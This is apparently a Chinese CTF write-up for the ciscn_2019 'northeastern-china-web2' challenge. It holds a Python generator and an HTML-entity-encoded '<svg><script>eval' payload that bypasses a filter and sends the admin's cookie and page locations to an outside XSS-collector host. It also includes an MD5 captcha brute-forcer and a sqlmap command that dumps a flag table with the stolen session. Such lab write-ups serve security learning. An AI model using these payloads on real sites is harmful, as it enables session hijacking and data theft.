5am3 师傅出的题目~ 
  知识点: 
  1、储存型 XSS 与过滤绕过 
  2、SQL 注入 
  1、打开靶机,是这样一个页面。
ciscn_2019_web_northeastern-china-web2 
 
 
  2、随便点个投稿或者反馈啥的,要先注册登录。 
ciscn_2019_web_northeastern-china-web2 
 
 
ciscn_2019_web_northeastern-china-web2 
 
 
  3、然后点击投稿,是这样一个界面。 
ciscn_2019_web_northeastern-china-web2 
 
 
  上面提示可以反馈让管理员来看,目测是 XSS 了。 
  4、然后看看反馈界面。 
ciscn_2019_web_northeastern-china-web2 
 
 
  XSS 石锤了。 
  5、回到投稿界面,不断 fuzz,然后发现如下的 payload 能打上去。这里用到的 payload 是 eval,由于这玩意儿有”waf“,里面的所有东西和外面的括号都得转个码,那就用 HTML Markup 来转吧。 
  HTML Markup: https://www.w3.org/MarkUp/html-spec/html-spec_13.html 
  写了个 Python 小脚本来生成 payload: 
in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"  output = ""
  for c in in_str:
  output += "" + str(ord(c))
  print("<svg><script>eval("" + output + "")</script>")
  
  得到 Payload 如下: 
<svg><script>eval("(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();")</script>
    和之前 DDCTF 遇到的那个题有一点点不同,这里有 CSP,但可以直接用跳转绕过。 
  6、打上去,发现可以正常执行。 
ciscn_2019_web_northeastern-china-web2 
 
 
  7、然后把这个地址到反馈那里提交。 
  祭出祖传算 MD5 脚本来算一算验证码。 
import hashlib  for i in range(1, 10000001):
  s = hashlib.md5(str(i)).hexdigest()[0:6]
  if s == "f3ff5e":
  print(i)
  break
  
  
ciscn_2019_web_northeastern-china-web2 
 
 
  8、然后去收下 XSS。 
ciscn_2019_web_northeastern-china-web2 
 
 
  9、置管理员 cookie,猜测后台路径,发现 /admin.php 能访问。 
ciscn_2019_web_northeastern-china-web2 
 
 
 
ciscn_2019_web_northeastern-china-web2 
 
 
  10、测一下,发现应该是有 sql 注入的。 
ciscn_2019_web_northeastern-china-web2 
 
 
  11、那直接 sqlmap 跑跑试试。 
sqlmap -u "http://web59.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=cf49a9a60da9cc1b547ab98d549ba038" -T flag --dump --flush-session --fresh-queries
    12、Flag 到手~ 
ciscn_2019_web_northeastern-china-web2 
 
 
  
 |